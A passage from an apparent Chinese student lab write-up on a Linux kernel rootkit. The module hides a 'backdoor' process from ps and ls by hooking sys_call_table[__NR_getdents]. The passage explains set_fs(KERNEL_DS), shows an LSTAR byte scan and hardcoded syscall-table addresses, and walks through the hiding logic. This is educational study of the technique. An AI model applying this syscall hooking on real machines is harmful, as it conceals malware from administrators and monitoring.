在C語言中在任什麼時候候均可以用void類型的指針來代替其餘類型的指針,void指針能夠指向任何數據類型的變量;
若是要經過void指針去獲取它所指向的變量值時候,須要先將void指針強制類型轉換成和變量名類型想匹配的數據類型指針後再進行操做,而後才能對原來的void指針指向的空間進行操做;

void *p;
int *pa = (int *)p;

任何類型的指針均可以賦值給void指針,無需進行強制類型轉換;

int a = 1;
int *pa = &a;
void *p = pa; // 無需強轉

參考:C語言指針高級部分:void指針和數據指針

15 GCC G++ 編譯有何區別?

對於下面代碼:

 1 #include <stdio.h>
 2 #include <string.h>
 3 
 4 unsigned long ** getllp();
 5 void cast_test();
 6 
 7 int main() {
 8     unsigned long **llp = getllp();
 9     printf("llp = %p\n", llp);
10     cast_test();
11     return 0;
12 }
13 
14 unsigned long ** getllp() {
15     int a = 1;
16     void *p = &a;
17     printf("p = %p\n", p);
18     return (void *)(0xffffffff00000000 | *(unsigned int *)p);
19 }
20 
21 void cast_test() {
22     int a = 1;
23     void *p = &a;
24     unsigned long **llp = (void *)(0xffffffff00000000 | *(unsigned int *)p);
25     printf("p = %p, llp = %p\n", p, llp);
26 }
View Code

GCC 編譯:

G++ 編譯:

也就是說,void * 轉換爲其餘類型指針時:

  • GCC 無需顯示強制轉換,仍是說編譯器內部自動幫你轉換?
  • G++ 須要顯示的強制轉換,不然編譯失敗;

GCC和G++的關聯與區別:

  • 1)後綴爲.c的,gcc把它看成是C程序,而g++看成是c++程序;後綴爲.cpp的,二者都會認爲是c++程序;
  • 2)c++是c的超集,二者對語法的要求是有區別的,C++的語法規則更加嚴謹一些;
  • 3)在編譯階段,g++會調用gcc,對於c++代碼,二者是等價的,可是由於gcc命令不能自動和C++程序使用的庫聯接,因此一般用g++來完成連接;

參考: gcc與g++的區別:http://www.javashuo.com/article/p-cdzbplqe-dv.html

16 PAGE_SIZE 在哪裏定義?是什麼意思?

出自 ps_hide.c 中的 get_lstar_sct_addr 方法:

...
for (index = 0; index <= PAGE_SIZE; index += 1) {
    u8 *arr = (u8 *)lstar + index;
    if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
        return arr + 3;
    }
}
...

PAGE_SIZE 在好多地方都有定義,我也不清楚具體引用的是哪個,在 arch/arc/include/uapi/asm/page.h 中定義以下:

#define PAGE_SIZE _BITUL(PAGE_SHIFT)        /* Default 8K */

17 rdmsrl() 函數的做用是什麼?

u64 lstar;
rdmsrl(MSR_LSTAR, lstar);
// 將寄存器 MSR_LSTAR 中的內容讀到 lstar 中

18 loff_t 的定義

在 include/linux/types.h 中定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/linux/types.h#L45

#if defined(__GNUC__)
typedef __kernel_loff_t loff_t;
#endif

__kernel_loff_t 在 include/uapi/asm-generic/posix_types.h 中定義以下:

typedef long long __kernel_loff_t;

回到目錄

19 filp_open()函數,O_RDONLY,vsf_read(fp, buf1, 64, &pos)

在 include/linux/fs.h 中定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/linux/fs.h#L2309

extern struct file *filp_open(const char *, int, umode_t);

umod_t 在 include/linux/types.h 中定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/linux/types.h#L18

typedef unsigned short umode_t;

O_RDONLY 在 include/uapi/asm-generic/fcntl.h 中聲明以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/uapi/asm-generic/fcntl.h#L19

#define O_ACCMODE   00000003
#define O_RDONLY    00000000
#define O_WRONLY    00000001
#define O_RDWR      00000002

strcut file* filp_open(const char* filename, int open_mode, int mode);
該函數返回strcut file*結構指針,供後繼函數操做使用,該返回值用IS_ERR()來檢驗其有效性;

  • filename:代表要打開或建立文件的名稱(包括路徑部分)。在內核中打開的文件時須要注意打開的時機,很容易出現須要打開文件的驅動很早就加載並打開文件,但須要打開的文件所在設備尚未掛載到文件系統中,而致使打開失敗;
  • open_mode:文件的打開方式,其取值與標準庫中的open相應參數相似,能夠取O_CREAT,O_RDWR,O_RDONLY等;
  • mode:建立文件時使用,設置建立文件的讀寫權限,其它狀況能夠匆略設爲0;

kernel中文件的讀寫操做可使用vfs_read()和vfs_write,vfs_read() vfs_write()兩函數的原形以下:
ssize_t vfs_read(struct file* filp, char __user* buffer, size_t len, loff_t* pos);
ssize_t vfs_write(struct file* filp, const char __user* buffer, size_t len, loff_t* pos);
1)注意這兩個函數的第2個參數buffer,前面都有__user修飾符,這就要求這兩個buffer指針都應該指向用戶空間的內存,若是對該參數傳遞kernel空間的指針,這兩個函數都會返回失敗-EFAULT。但在Kernel中,咱們通常不容易生成用戶空間的指針,或者不方便獨立使用用戶空間內存。
2)要使這兩個讀寫函數使用kernel空間的buffer指針也能正確工做,須要使用set_fs()函數或宏(set_fs()多是宏定義),若是爲函數,其原形如:void set_fs(mm_segment_t fs); 該函數的做用是改變kernel對內存地址檢查的處理方式,其實該函數的參數fs只有兩個取值:USER_DS,KERNEL_DS,分別表明用戶空間和內核空間,默認狀況下,kernel取值爲USER_DS,即對用戶空間地址檢查並作變換。那麼要在這種對內存地址作檢查變換的函數中使用內核空間地址,就須要使用set_fs(KERNEL_DS)進行設置。get_fs()通常也多是宏定義,它的做用是取得當前的設置,這兩個函數的通常用法爲:

mm_segment_t old_fs;
old_fs = get_fs();
set_fs(KERNEL_DS);
...... //與內存有關的操做
set_fs(old_fs);

還有一些其它的內核函數也有用__user修飾的參數,在kernel中須要用kernel空間的內存代替時,均可以使用相似辦法。使用vfs_read()和vfs_write()最後須要注意的一點是最後的參數loff_t * pos,pos所指向的值要初始化,代表從文件的什麼地方開始讀寫。

int filp_close(struct file*filp, fl_owner_t id);
該函數的使用很簡單,第二個參數通常傳遞NULL值,也有用current->files做爲實參的;

參考:

20 mm_segment_t 的含義,get_fs() 什麼意思?set_fs(KERNEL_DS),set_fs(fs) 什麼意思?

在 arch/avr32/include/asm/uaccess.h 中定義以下:https://elixir.bootlin.com/linux/v4.10.17/source/arch/avr32/include/asm/uaccess.h#L19

 1 typedef struct {
 2     unsigned int is_user_space;
 3 } mm_segment_t;
 4 
 5 /*
 6 * The fs value determines whether argument validity checking should be
 7 * performed or not.  If get_fs() == USER_DS, checking is performed, with
 8 * get_fs() == KERNEL_DS, checking is bypassed.
 9 *
10 * For historical reasons (Data Segment Register?), these macros are misnamed.
11 */
12 #define MAKE_MM_SEG(s)  ((mm_segment_t) { (s) })
13 #define segment_eq(a, b)    ((a).is_user_space == (b).is_user_space)
14 
15 #define USER_ADDR_LIMIT 0x80000000
16 
17 #define KERNEL_DS   MAKE_MM_SEG(0)
18 #define USER_DS     MAKE_MM_SEG(1)
19 
20 #define get_ds()    (KERNEL_DS)
21 
22 static inline mm_segment_t get_fs(void)
23 {
24     return MAKE_MM_SEG(test_thread_flag(TIF_USERSPACE));
25 }
26 
27 static inline void set_fs(mm_segment_t s)
28 {
29     if (s.is_user_space)
30         set_thread_flag(TIF_USERSPACE);
31     else
32         clear_thread_flag(TIF_USERSPACE);
33 }
View Code

1)fs值決定是否應該進行參數有效性檢查執行與否。若是get_fs() == USER_DS,則執行檢測,若get_fs() == KERNEL_DS,則檢查被繞過。
2)系統調用的參數要求必須來自用戶空間,因此,當在內核中使用系統調用的時候,set_fs(get_ds())改變了用戶空間的限制,即擴大了用戶空間範圍,所以便可使用在內核中的參數了。
3)系統調用原本是提供給用戶空間的程序訪問的,因此對傳遞給它的參數(好比上面的buf),它默認會認爲來自用戶空間,在->write()函數中, 爲了保護內核空間,通常會用get_fs()獲得的值來和USER_DS進行比較,從而防止用戶空間程序「蓄意」破壞內核空間;
4)而如今要在內核空間使用系統調用,此時傳遞給->write()的參數地址就是內核空間的地址了,在USER_DS之上(USER_DS ~ KERNEL_DS),若是不作任何其它處理,在write()函數中,會認爲該地址超過了USER_DS範圍,因此會認爲是用戶空間的「蓄意破壞」,從而不容許進一步的執行。

參考: linux內核中操做文件的方法--使用get_fs()和set_fs(KERNEL_DS)

21 memmove()和memcpy()有什麼區別?

1)memmove():http://man7.org/linux/man-pages/man3/memmove.3.html

#include <string.h>
void *memmove(void *dest, const void *src, size_t n);

The memmove() function copies n bytes from memory area src to memory area dest. The memory areas may overlap: copying takes place as though the bytes in src are first copied into a temporary array that does not overlap src or dest, and the bytes are then copied from the temporary array to dest.

2)memcpy():http://man7.org/linux/man-pages/man3/memcpy.3.html

#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);

The memcpy() function copies n bytes from memory area src to memory area dest. The memory areas must not overlap. Use memmove(3) if the memory areas do overlap.

22 dup()、dup2()函數

dup 和 dup2 均可以用來複制一個現存的文件描述符。常常用來從新定向進程的 STDIN,STDOUT,STDERR。定義在 <unistd.h>中;
1)int dup(int filedes) ;
函數返回一個新的描述符,這個新的描述符是傳給它的描述符的拷貝,若出錯則返回 -1。由dup返回的新文件描述符必定是當前可用文件描述符中的最小數值。這函數返回的新文件描述符與參數 filedes 共享同一個文件數據結構。
2)int dup2(int filedes, int filedes2);
一樣,函數返回一個新的文件描述符,若出錯則返回 -1。與 dup 不一樣的是,dup2 能夠用 filedes2 參數指定新描述符的數值。若是 filedes2 已經打開,則先將其關閉。如若 filedes 等於 filedes2 , 則 dup2 返回 filedes2 , 而不關閉它。一樣,返回的新文件描述符與參數 filedes 共享同一個文件數據結構。
參考:linux之dup和dup2函數解析:http://www.javashuo.com/article/p-khaexvhq-ko.html

23 爲何最後修改的是系統調用 sys_call_table[__NR_getdents]?

Linux 系統調用表中,getdents 的含義:讀取目錄項

在 arch/alpha/include/uapi/asm/unistd.h 中,__NR_getdents 定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/arch/alpha/include/uapi/asm/unistd.h#L266

#define __NR_getdents 305

查看 ls 命令源碼,發現其內部是調用了 readdir 函數,而 readdir 是 glibc 的封裝函數,glibc 內部調用的是 getdents 系統調用;
下面是 ls 源碼的一部分:

 1 while( (direntp = readdir(dir)) != NULL)
 2 {
 3     if(-1 == stat(direntp->d_name,&st))
 4         continue;
 5     if((!(flags & STAT_ALL_INFO)) && (direntp->d_name[0] == '.') )
 6         continue;
 7     AddnNode(head,direntp->d_name,&st);
 8     if(S_ISDIR(st.st_mode) && (flags&STAT_RECUR) && strcmp(".",direntp->d_name)&&strcmp( direntp->d_name,".."))
 9     {
10         nNode *newhead=NULL;
11         do_ls(direntp->d_name,flags,&newhead);
12         printf("%s :\n",direntp->d_name);
13         showfile(newhead,flags);
14         freeNode(newhead);
15     }
16 }
View Code

一樣,查看 ps 命令源碼,發現其內部也是調用了 glibc 的封裝函數 readdir,內部調用的也是 getdents 系統調用;
下面是 ps 源碼的一部分:

1 while((de = readdir(d)) != 0){
2     if(isdigit(de->d_name[0])){
3         int tid = atoi(de->d_name);
4         if(tid == pid) continue;
5         ps_line(pid, tid, namefilter);
6     }
7 }
View Code

因此在設置劫持函數時,直接替換 sys_call_table[__NR_getdents];

參考:

24 下面各個頭文件的做用

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/uaccess.h>

  • copy_from_user()
  • copy_to_user()
  • get_fs()
  • set_fs()

#include <linux/slab.h>

  • kfree()
  • kmalloc()

#include <linux/fs.h>

  • filp_open()
  • filp_close()
  • vfs_read()

#include <linux/string.h>

  • strstr()

回到目錄

六 18.04的坑

我覺得我一直會很幸運,直到我遇到了實驗3。在18.04上花了1天時間沒把SCT地址搞出來,內外查了很多資料,仍是沒磕出來。因爲時間比較緊,就沒繼續躺坑了,由於總感受這個坑 它又大又圓又深。老老實實裝了16.04.3的系統,按照那位學長的博客開始DIY。參考資料部分有一些我查過的資料,具體對應哪些問題我筆記上也沒記錄,因此你們要參考可能要費點時間(sorry~(┬_┬))

來看看這個又大又圓的坑,幾乎一樣的代碼(改了個靜態地址而已),在18.0四、16.04.3 上run的結果不同,因此那位學長博客中的代碼在18.04系統下是用不了的。測試代碼以下:

 1 #include <linux/module.h>
 2 #include <linux/kernel.h>
 3 #include <linux/unistd.h>
 4 
 5 static unsigned long **sys_call_table;
 6 
 7 static int filter_init(void) {
 8     printk("fitler_init\n");
 9     sys_call_table = (void *)0xffffffff81a00240; // Ubuntu 16.04.3 Kernel 4.10.0-28-generic
10     sys_call_table = (void *)0xffffffff81e001e0; // Ubuntu 18.04.2 Kernel 4.18.0-17-generic
11     if (sys_call_table) {
12         printk("sys_call_table = %p\n", sys_call_table);
13     }
14     return 0;
15 }
16 
17 static void filter_exit(void) {
18     printk("fitler_exit\n");
19 }
20 
21 MODULE_LICENSE("GPL");
22 module_init(filter_init);
23 module_exit(filter_exit);
View Code

在 Ubuntu 18.04.2 Kernel 4.18.0-17-generic 上run:

在 Ubuntu 16.04.3 Kernel 4.10.0-28-generic 上run:

我先用命令:sudo cat /boot/System.map-4.10.0-28-generic | grep sys_call_table 拿到SCT的地址(18.04對應System.map-4.18.0-17-generic),而後硬編碼到測試代碼中,發如今16.04.3下能夠正確輸出SCT地址,而在18.04下輸出的是個👻(鬼)。鬼知道 4.8.0-17 內核在內部動了什麼手腳,加了層保護?what ever, good luck

回到目錄

七 參考資料

參考連接我已經在文章中的相關位置貼過了,這裏只是彙總的貼一遍(可能會有遺漏),連接中也包括躺18.04的坑時查的資料(我給忘了是哪幾個連接)。

Stackoverflow:

回到目錄

八 老師可能的提問

1 ps讀的是哪一個目錄下的文件?
/proc/

2 這個number是指什麼?什麼的長度?

if ((number = (*orig_getdents)(fd, dirp, count)) == 0)
    return 0;

   我:指的是讀取到的<dirent>的長度,單位是字節;
老師:是哪一個地方的<dirent>?
   我:是參數中文件描述符 fd 指向的文件的<dirent>;
老師:那在如今這個場景下,讀的是哪一個目錄下的<dirent>呢?
   我:是/proc/目錄下的;
老師:OK;

3 根據你的實現,來模擬這樣一個場景:
1)運行backdoor程序,獲取其PID,這裏假設爲2054;
2)在任意一個目錄下建立一個文件/文件夾,命名爲:2054;
3)運行ls命令,看是否能看到這個文件/文件夾;
答案:看不到(注意,是基於我上面提供的代碼來回答的);
由於:

  • ls 和 ps 底層都是調用了系統調用 sys_call_table[__NR_getdents],而咱們代碼中劫持了這個系統調用,因此 ls 命令產生的結果也會被咱們劫持;
  • 當咱們在判斷一個<dirent>是否須要過濾時,會遞進地判斷如下條件:
    • 1)need_filter(char *d_name),傳進來的 d_name 是否是一個PID(即:一串整型數字),若是是的話返回PID的長度,不是的話返回-1,這一步操做在 get_pid_len(char *d_name) 方法中完成;
    • 2)經過(1)的判斷後(pidlen > 0),開始申請所需的空間,若申請失敗,直接跳到out,即:不處理當前<dirent>;
    • 3)若空間申請成功,則會從構造的文件路徑:/proc/2054/status 中讀取文件,並從文件中第一行匹配關鍵字「backdoor」,若成功匹配,則說明當前<dirent>須要過濾,不然不須要過濾;
  • 如今咱們在隨便一個目錄下建立了文件,名爲:2054,走一遍 need_filter(char *d_name) 的流程:
    • 1)ls 命令產生的 d_name 是文件名,因此如今 d_name = "2054",在調用 get_pid_len(char *d_name) 方法時,被誤判爲這是 ps 命令產生的<dirent>,由於傳進來的 d_name 就是一串整型字符(2054),因此會經過檢測,進入到(2)的判斷;
    • 2)申請內存空間不和特定命令掛鉤,而且一般會分配成功,因此進入判斷(3);
    • 3)由於此前已經運行了 backdoor 程序,因此 /proc/2054/status 這個文件是必定存在的;如今根據 ls 命令產生的 d_name 構造出的文件路徑一樣是:/proc/2054/status,程序去讀取這個文件時,發現文件存在,而且從其第一行中匹配到了關鍵字「backdoor」,因此當前<dirent>須要過濾;
  • 這樣一來,運行 ls 命令,是看不到你建立的名爲「2054」的文件的,若是這是個文件夾,那麼這個文件夾自己你看不到,可是你能夠用 cd 命令進入這個文件夾,而後在裏面建立1.txt,此時在該目錄下執行 ls 命令,是能夠看到 1.txt文件的;

測試效果圖:

1)ps 查看到 backdoor 進程

2)建立了一個文件,文件名即爲:backdoor的PID,2423

3)執行 > sudo insmod lcx-pshider.ko 後:

  • 執行 ps 命令,看不到 backdoor進程;
  • 執行 ls 命令,看不到 2423 文件;
  • 執行 cat 2423 卻能夠將 2423 文件的內入打印出來;

4)在當前目錄下建立了目錄:proc/2423,發如今./proc/目錄下執行 ls 命令,看不到 2423 這個目錄,可是能夠經過 cd 命令進入該目錄;

5)一樣的,在/proc/目錄下也找不到 2423 這個進程的目錄:

回到目錄

轉載請說明出處😄 have a good time ~

相關文章
相關標籤/搜索